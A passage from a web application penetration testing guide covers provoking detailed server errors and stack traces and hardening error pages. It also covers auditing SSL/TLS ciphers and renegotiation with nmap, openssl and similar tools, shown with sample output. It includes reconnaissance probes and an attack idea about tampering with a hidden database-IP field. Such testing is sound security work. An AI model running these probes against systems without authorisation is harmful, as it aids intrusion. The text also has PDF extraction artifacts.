when there is a problem with the query or the connection. Each
Database system, such as MySQL, Oracle or MSSQL, has their
own set of errors. Those errors can provide sensible information
such as Database server IPs, tables, columns and login details.
In addition, there are many SQL Injection exploitation techniques
that utilize detailed error messages from the database driver, for
in depth information on this issue see Testing for SQL Injection
(OTG-INPVAL-005) for more information.
Web server errors arent the only useful output returned requiring security analysis. Consider the next example error message:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not
exist or access denied
What happened? We will explain step-by-step below.
In this example, the 80004005 is a generic IIS error code which
indicates that it could not establish a connection to its associated
database. In many cases, the error message will detail the type
of the database. This will often indicate the underlying operating
system by association. With this information, the penetration
tester can plan an appropriate strategy for the security test.
By manipulating the variables that are passed to the database
connect string, we can invoke more detailed errors.
Microsoft OLE DB Provider for ODBC Drivers error 80004005
[Microsoft][ODBC Access 97 ODBC driver Driver]General error
Unable to open registry key DriverId
In this example, we can see a generic error in the same situation
which reveals the type and version of the associated database
system and a dependence on Windows operating system registry key values.
Now we will look at a practical example with a security test
against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This
could be caused by a database name resolution issue, processing
of unexpected variable values, or other network problems.
Consider the scenario where we have a database administration
web portal, which can be used as a front end GUI to issue database

155

Web Application Penetration Testing

queries, create tables, and modify database fields. During the


POST of the logon credentials, the following error message is
presented to the penetration tester. The message indicates the
presence of a MySQL database server:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
If we see in the HTML code of the logon page the presence of a
hidden field with a database IP, we can try to change this value
in the URL with the address of database server under the penetration testers control in an attempt to fool the application into
thinking that the logon was successful.
Another example: knowing the database server that services a
web application, we can take advantage of this information to
carry out a SQL Injection for that kind of database or a persistent
XSS test.
How to Test
Below are some examples of testing for detailed error messages
returned to the user. Each of the below examples has specific
information about the operating system, application version, etc.
Test: 404 Not Found
telnet <host target> 80
GET /<wrong page> HTTP/1.1
host: <host target>
<CRLF><CRLF>
Result:
HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>404 Not Found</title>
...
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
at <host target> Port 80</address>
Test:
Network problems leading to the application being unable to
access the database server
Result:
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
Test:
Authentication failure due to missing credentials

Result:
Firewall version used for authentication:
Error 407
FW-1 at <firewall>: Unauthorized to access the document.
0z
j0z
`
Test: 400 Bad Request
telnet <host target> 80
GET / HTTP/1.1
<CRLF><CRLF>
Result:
HTTP/1.1 400 Bad Request
Date: Fri, 06 Dec 2013 23:57:53 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>400 Bad Request</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at 127.0.1.1 Port 80</address>
...
Test: 405 Method Not Allowed
telnet <host target> 80
PUT /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
Result:
HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>405 Method Not Allowed</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...

156

Web Application Penetration Testing

Test: 408 Request Time-out


telnet <host target> 80
GET / HTTP/1.1
Wait X seconds (Depending on the target server, 21
seconds for Apache by default)
Result:
HTTP/1.1 408 Request Time-out
Date: Fri, 07 Dec 2013 00:58:33 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 298
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>408 Request Time-out</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...
Test: 501 Method Not Implemented
telnet <host target> 80
RENAME /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>

Result:
HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with
Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>501 Method Not Implemented</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9
with Suhosin-Patch at <host target> Port 80</address>
...
Test:
Enumeration of directories by using access denied error messages:<br>
http://<host>/<dir>

Result:
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.

Tools

ErrorMint - http://sourceforge.net/projects/errormint/
ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_
Attack_Proxy_Project
References
[RFC2616] Hypertext Transfer Protocol -- HTTP/1.1
[ErrorDocument] Apache ErrorDocument Directive
[AllowOverride] Apache AllowOverride Directive
[ServerTokens] Apache ServerTokens Directive
[ServerSignature] Apache ServerSignature Directive
Remediation
Error Handling in IIS and ASP .net
ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web
servers. Errors occur in all applications, developers try to trap
most errors but it is almost impossible to cover each and every
exception (it is however possible to configure the web server to
suppress detailed error messages from being returned to the
user).
IIS uses a set of custom error pages generally found in c:\winnt\
help\iishelp\common to display errors like 404 page not found
to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request
for an aspx page, the request is passed on to the dot net framework.
There are various ways by which errors can be handled in dot net
framework. Errors are handled at three places in ASP .net:
Inside Web.config customErrors section
9nside global.asax Application_Error Sub
At the the aspx or associated codebehind page in the Page_Error sub
Handling errors using web.config
<customErrors defaultRedirect=myerrorpagedefault.aspx
mode=On|Off|RemoteOnly>
<error statusCode=404 redirect=myerrorpagefor404.
aspx/>
<error statusCode=500 redirect=myerrorpagefor500.
aspx/>
</customErrors>
mode=On will turn on custom errors. mode=RemoteOnly will
show custom errors to the remote web application users. A user
accessing the server locally will be presented with the complete
stack trace and custom errors will not be shown to him.
All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx. A status code 404 will be handled by myerrorpagefor404.aspx.

157

Web Application Penetration Testing

Handling errors in Global.asax


When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this
sub.
Private Sub Application_Error (ByVal sender As Object, ByVal e
As System.EventArgs)
Handles MyBase.Error
End Sub
Handling errors in Page_Error sub
This is similar to application error.
Private Sub Page_Error (ByVal sender As Object, ByVal e As
System.EventArgs)
Handles MyBase.Error
End Sub
Error hierarchy in ASP .net
Page_Error sub will be processed first, followed by global.asax
Application_Error sub, and, finally, customErrors section in web.
config file.
Information Gathering on web applications with server-side
technology is quite difficult, but the information discovered can
be useful for the correct execution of an attempted exploit (for
example, SQL injection or Cross Site Scripting (XSS) attacks) and
can reduce false positives.
How to test for ASP.net and IIS Error Handling
Fire up your browser and type a random page name
http:\\www.mywebserver.com\anyrandomname.asp
If the server returns
The page cannot be found
Internet Information Services

it means that IIS custom errors are not configured. Please note
the .asp extension.
Also test for .net custom errors. Type a random page name with
aspx extension in your browser
http:\\www.mywebserver.com\anyrandomname.aspx
If the server returns
Server Error in / Application.
-------------------------------------------------------------------------------

The resource cannot be found.


Description: HTTP 404. The resource you are looking for (or one
of its dependencies) could have been removed, had its name
custom errors for .net are not configured.
Error Handling in Apache
Apache is a common HTTP server for serving HTML and PHP
web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.
Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the ErrorDocument directive [2]
ErrorDocument 404 Customized Not Found error message
ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
Site administrators are able to manage their own errors using
.htaccess file if the global directive AllowOverride is configured
properly in apache2.conf [3]
The information shown by Apache in the HTTP errors can also be
configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. ServerSignature
Off (On by default) removes the server information from the
error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information
has to be shown in the error pages.
Error Handling in Tomcat
Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP
error responses.
Customization of the error responses can be configured in the
configuration file web.xml.
<error-page>
<error-code>404</error-code>
<location>/myerrorpagefor404.html</location>
</error-page>

Testing for Stack Traces (OTG-ERR-002)

Summary
Stack traces are not vulnerabilities by themselves, but they often
reveal information that is interesting to an attacker. Attackers
attempt to generate these stack traces by tampering with the
input to the web application with malformed HTTP requests and
other input data.
If the application responds with stack traces that are not managed it could reveal information useful to attackers. This information could then be used in further attacks. Providing debugging information as a result of operations that generate errors is
considered a bad practice due to multiple reasons. For example,

158

Web Application Penetration Testing

it may contain information on internal workings of the application such as relative paths of the point where the application is
installed or how objects are referenced internally.

protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is
also possible to use client certificate for mutual authentication.

How to Test
Black Box testing
There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases
this will be an HTML page, but exceptions can be sent as part of
SOAP or REST responses too.

Even if high grade ciphers are today supported and normally


used, some misconfiguration in the server can be used to force
the use of a weak cipher - or at worst no encryption - permitting
to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial
of Service attack.

Some tests to try include:


invalid input (such as input that is not consistent with application
logic.
input that contains non alphanumeric characters or query syn
tax.
empty inputs.
inputs that are too long.
access to internal pages without authentication.
bypassing application flow.

Common Issues
A vulnerability occurs if the HTTP protocol is used to transmit
sensitive information [2] (e.g. credentials transmitted over HTTP
[3]).

All the above tests could lead to application errors that may contain stack traces. It is recommended to use a fuzzer in addition to
any manual testing.
Some tools, such as OWASP ZAP and Burp proxy will automatically detect these exceptions in the response stream as you are
doing other penetration and testing work.
Gray Box Testing
Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this
might be code in a JSP that looks like:
<% e.printStackTrace( new PrintWriter( out ) ) %>
In some cases, the stack trace will be specifically formatted into
HTML, so be careful of accesses to stack trace elements.
Search the configuration to verify error handling configuration
and the use of default error pages. For example, in Java this configuration can be found in web.xml.

Tools

ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_


Attack_Proxy_Project
References
[RFC2616] Hypertext Transfer Protocol - HTTP/1.1

Testing for Weak SSL/TLS Ciphers, Insufficient


Transport Layer Protection (OTG-CRYPST-001)

Summary
Sensitive data must be protected when it is transmitted through
the network. Such data can include user credentials and credit
cards. As a rule of thumb, if data must be protected when it is
stored, it must be protected also during transmission.
HTTP is a clear-text protocol and it is normally secured via an
SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this

When the SSL/TLS service is present it is good but it increments


the attack surface and the following vulnerabilities exist:
SSL/TLS protocols, ciphers, keys and renegotiation must be
properly configured.
Certificate validity must be ensured.
Other vulnerabilities linked to this are:
Software exposed must be updated due to possibility of known
vulnerabilities [4].
Usage of Secure flag for Session Cookies [5].
Usage of HTTP Strict Transport Security (HSTS) [6].
The presence of HTTP and HTTPS both, which can be used to
intercept traffic [7], [8].
The presence of mixed HTTPS and HTTP content in the same
page, which can be used to Leak information.
Sensitive data transmitted in clear-text
The application should not transmit sensitive information via
unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent
via HTTP and, in general, other information considered by regulations, laws or organization policy.
Weak SSL/TLS Ciphers/Protocols/Keys
Historically, there have been limitations set in place by the U.S.
government to allow cryptosystems to be exported only for key
sizes of at most 40 bits, a key length which could be broken and
would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum
key size is 128 bits.
It is important to check the SSL configuration being used to avoid
putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer
the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g.
SHA, MD5) used for integrity checking.
Briefly, the key points for the cipher suite determination are the
following:
[1] The client sends to the server a ClientHello message

159

Web Application Penetration Testing

specifying, among other information, the protocol and the


cipher suites that it is able to handle. Note that a client is
usually a web browser (most popular SSL client nowadays), but
not necessarily, since it can be any SSL-enabled application;
the same holds for the server, which needs not to be a web
server, though this is the most common case [9].
[2] The server responds with a ServerHello message, containing
the chosen protocol and cipher suite that will be used for that
session (in general the server selects the strongest protocol
and cipher suite supported by both the client and server).
It is possible (for example, by means of configuration directives)
to specify which cipher suites the server will honor. In this way
you may control whether or not conversations with clients will
support 40-bit encryption only.
[1] The server sends its Certificate message and, if client
authentication is required, also sends a CertificateRequest
message to the client.
[2] The server sends a ServerHelloDone message and waits for
a client response.
[3] Upon receipt of the ServerHelloDone message, the client
verifies the validity of the servers digital certificate.
SSL certificate validity client and server
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server.
The identity of one (the server) or both parties (client and server)
is then established by means of digital certificates. So, once the
cipher suite is determined, the SSL Handshake continues with
the exchange of the certificates:
[1] The server sends its Certificate message and, if client
authentication is required, also sends a CertificateRequest
message to the client.
[2] The server sends a ServerHelloDone message and waits for
a client response.
[3] Upon receipt of the ServerHelloDone message, the client
verifies the validity of the servers digital certificate.
In order for the communication to be set up, a number of checks
on the certificates must be passed. While discussing SSL and
certificate based authentication is beyond the scope of this
guide, this section will focus on the main criteria involved in ascertaining certificate validity:
Checking if the Certificate Authority (CA) is a known one
(meaning one considered trusted);
Checking that the certificate is currently valid;
Checking that the name of the site and the name reported in
the certificate match.
Lets examine each check more in detail.
Each browser comes with a pre-loaded list of trusted CAs,
against which the certificate signing CA is compared (this list

can be customized and expanded at will). During the initial


negotiations with an HTTPS server, if the server certificate
relates to a CA unknown to the browser, a warning is usually
raised. This happens most often because a web application
relies on a certificate signed by a self-established CA. Whether
this is to be considered a concern depends on several factors.
For example, this may be fine for an Intranet environment
(think of corporate web email being provided via HTTPS; here,
obviously all users recognize the internal CA as a trusted CA).
When a service is provided to the general public via the Internet,
however (i.e. when it is important to positively verify the identity
of the server we are talking to), it is usually imperative to rely on a
trusted CA, one which is recognized by all the user base (and here
we stop with our considerations; we wont delve deeper in the
implications of the trust model being used by digital certificates).
Certificates have an associated period of validity, therefore
they may expire. Again, we are warned by the browser about this.
A public service needs a temporally valid certificate; otherwise, it
means we are talking with a server whose certificate was issued
by someone we trust, but has expired without being renewed.
What if the name on the certificate and the name of the server
do not match? If this happens, it might sound suspicious. For a
number of reasons, this is not so rare to see. A system may host
a number of name-based virtual hosts, which share the same
IP address and are identified by means of the HTTP 1.1 Host:
header information. In this case, since the SSL handshake checks
the server certificate before the HTTP request is processed, it is
not possible to assign different certificates to each virtual server.
Therefore, if the name of the site and the name reported in the
certificate do not match, we have a condition which is typically
signaled by the browser. To avoid this, IP-based virtual servers
must be used. [33] and [34] describe techniques to deal with
this problem and allow name-based virtual hosts to be correctly
referenced.
Other vulnerabilities
The presence of a new service, listening in a separate tcp port may
introduce vulnerabilities such as infrastructure vulnerabilities if
the software is not up to date [4]. Furthermore, for the correct
protection of data during transmission the Session Cookie must
use the Secure flag [5] and some directives should be sent to the
browser to accept only secure traffic (e.g. HSTS [6], CSP).
Also there are some attacks that can be used to intercept traffic if
the web server exposes the application on both HTTP and HTTPS
[6], [7] or in case of mixed HTTP and HTTPS resources in the same
page.
How to Test
Testing for sensitive data transmitted in clear-text
Various types of information which must be protected can be also
transmitted in clear text. It is possible to check if this information
is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2].
Example 1. Basic Authentication over HTTP
A typical example is the usage of Basic Authentication over HTTP
because with Basic Authentication, after log in, credentials are
encoded - and not encrypted - into HTTP Headers.

160

Web Application Penetration Testing

$ curl -kis http://example.com/restricted/


HTTP/1.1 401 Authorization Required
Date: Fri, 01 Aug 2013 00:00:00 GMT
WWW-Authenticate: Basic realm=Restricted Area
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/html
<html><head><title>401 Authorization Required</title></
head>
<body bgcolor=white>
<h1>401 Authorization Required</h1>
Invalid login credentials!
</body></html>

Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities


The large number of available cipher suites and quick progress
in cryptanalysis makes testing an SSL server a non-trivial task.
At the time of writing these criteria are widely recognized as
minimum checklist:
Weak ciphers must not be used (e.g. less than 128 bits [10]; no
NULL ciphers suite, due to no encryption used; no Anonymous
Diffie-Hellmann, due to not provides authentication).
Weak protocols must be disabled (e.g. SSLv2 must be disabled,
due to known weaknesses in protocol design [11]).
Renegotiation must be properly configured (e.g. Insecure
Renegotiation must be disabled, due to MiTM attacks [12] and
Client-initiated Renegotiation must be disabled, due to Denial of
Service vulnerability [13]).
No Export (EXP) level cipher suites, due to can be easly broken
[10].
X.509 certificates key length must be strong (e.g. if RSA or DSA
is used the key must be at least 1024 bits).
X.509 certificates must be signed only with secure hashing
algoritms (e.g. not signed using MD5 hash, due to known collision
attacks on this hash).
Keys must be generated with proper entropy (e.g, Weak Key
Generated with Debian) [14].
A more complete checklist includes:
Secure Renegotiation should be enabled.
MD5 should not be used, due to known collision attacks. [35]
RC4 should not be used, due to crypto-analytical attacks [15].
Server should be protected from BEAST Attack [16].
Server should be protected from CRIME attack, TLS compres
sion must be disabled [17].
Server should support Forward Secrecy [18].
The following standards can be used as reference while assessing
SSL servers:
PCI-DSS v2.0 in point 4.1 requires compliant parties to use
strong cryptography without precisely defining key lengths and

algorithms. Common interpretation, partially based on previous


versions of the standard, is that at least 128 bit key cipher, no
export strength algorithms and no SSLv2 should be used [19].
Qualys SSL Labs Server Rating Guide [14], Depoloyment best
practice [10] and SSL Threat Model [20] has been proposed to
standardize SSL server assessment and configuration. But is less
updated than the SSL Server tool [21].
OWASP has a lot of resources about SSL/TLS Security [22],
[23], [24], [25]. [26].
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan
[29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl
[30] or use the tools output as an input for manual evaluation using
the references.
Sometimes the SSL/TLS enabled service is not directly accessible
and the tester can access it only via a HTTP proxy using CONNECT
method [36]. Most of the tools will try to connect to desired tcp port
to start SSL/TLS handshake. This will not work since desired port is
accessible only via HTTP proxy. The tester can easily circumvent this
by using relaying software such as socat [37].
Example 2. SSL service recognition via nmap
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993
(imaps), 995 (ssl-pop).
In this example we search for SSL services using nmap with -sV
option, used to identify services and it is also able to identify SSL
services [31]. Other options are for this particular example and must
be customized. Often in a Web Application Penetration Test scope is
limited to port 80 and 443.
$ nmap -sV --reason -PN -n --top-ports 100 www.example.
com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00
CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up, received user-set (0.20s latency).
Not shown: 89 filtered ports
Reason: 89 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Pure-FTPd
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp syn-ack Exim smtpd 4.80
26/tcp open smtp syn-ack Exim smtpd 4.80
80/tcp open http syn-ack
110/tcp open pop3 syn-ack Dovecot pop3d
143/tcp open imap syn-ack Dovecot imapd
443/tcp open ssl/http syn-ack Apache
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d
Service Info: Hosts: example.com
Service detection performed. Please report any incorrect results
at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds

161

Web Application Penetration Testing

Example 3. Checking for Certificate information, Weak Ciphers


and SSLv2 via nmap
Nmap has two scripts for checking Certificate information, Weak
Ciphers and SSLv2 [31].
$ nmap --script ssl-cert,ssl-enum-ciphers -p
443,465,993,995 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00
CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up (0.090s latency).
rDNS record for 127.0.0.1: www.example.com
PORT STATE SERVICE
443/tcp open https
| ssl-cert: Subject: commonName=www.example.org
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
| TLSv1.0:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
|_ least strength: strong
465/tcp open smtps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
| TLSv1.0:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong

|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
|_ least strength: strong
993/tcp open imaps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
| TLSv1.0:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
|_ least strength: strong
995/tcp open pop3s
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
| TLSv1.0:
| ciphers:
|
TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|
TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
|
NULL
|_ least strength: strong
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds

162

Web Application Penetration Testing

Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)
Openssl [30] can be used for testing manually SSL/TLS. In this
example the tester tries to initiate a renegotiation by client [m]
connecting to server with openssl. The tester then writes the fist
line of an HTTP request and types R in a new line. He then waits
for renegotiaion and completion of the HTTP request and checks
if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers
and for other vulnerabilities.
$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 ******
verify error:num=20:unable to get local issuer certificate
verify return:0
--Certificate chain
0 s:******
i:******
1 s:******
i:******
2 s:******
i:******
--Server certificate
-----BEGIN CERTIFICATE----******
-----END CERTIFICATE----subject=******
issuer=******
--No client certificate CA names sent
--SSL handshake has read 3558 bytes and written 640 bytes
--New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: ******
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---

Now the tester can write the first line of an HTTP request and
then R in a new line.
HEAD / HTTP/1.1
R
Server is renegotiating
RENEGOTIATING
depth=2 C******
verify error:num=20:unable to get local issuer certificate
verify return:0
And the tester can complete our request, checking for response.
Even if the HEAD is not permitted, Client-intiated renegotiaion
is permitted.
HEAD / HTTP/1.1
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792
read:errno=0
Example 5. Testing supported Cipher Suites, BEAST and CRIME
attacks via TestSSLServer
TestSSLServer [32] is a script which permits the tester to check
the cipher suite and also for BEAST and CRIME attacks. BEAST
(Browser Exploit Against SSL/TLS) exploits a vulnerability of
CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy)
exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the
use of RC4, but this is now discouraged due to a crypto-analytical
attack to RC4 [15].
An online tool to check for these attacks is SSL Labs, but can be used
only for internet facing servers. Also consider that target data will be
stored on SSL Labs server and also will result some connection from
SSL Labs server [21].

$ java -jar TestSSLServer.jar www3.example.com 443


Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Deflate compression: no
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
SSLv3
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA

163

Web Application Penetration Testing

RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem)
TLSv1.2
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_AES_128_CBC_SHA256
RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
---------------------Server certificate(s):
******
---------------------Minimal encryption strength: strong encryption (96-bit or
more)
Achievable encryption strength: strong encryption (96-bit or
more)
BEAST status: vulnerable
CRIME status: protected

Example 6. Testing SSL/TLS vulnerabilities with sslyze


Sslyze [33] is a python script which permits mass scanning and XML
output. The following is an example of a regular scan. It is one of the
most complete and versatile tools for SSL/TLS testing
./sslyze.py --regular example.com:443
REGISTERING AVAILABLE PLUGINS
-----------------------------

PluginHSTS
PluginSessionRenegotiation
PluginCertInfo
PluginSessionResumption
PluginOpenSSLCipherSuites
PluginCompression

CHECKING HOST(S) AVAILABILITY


----------------------------example.com:443

=> 127.0.0.1:443

SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443


--------------------------------------------------* Compression :
Compression Support:

Disabled

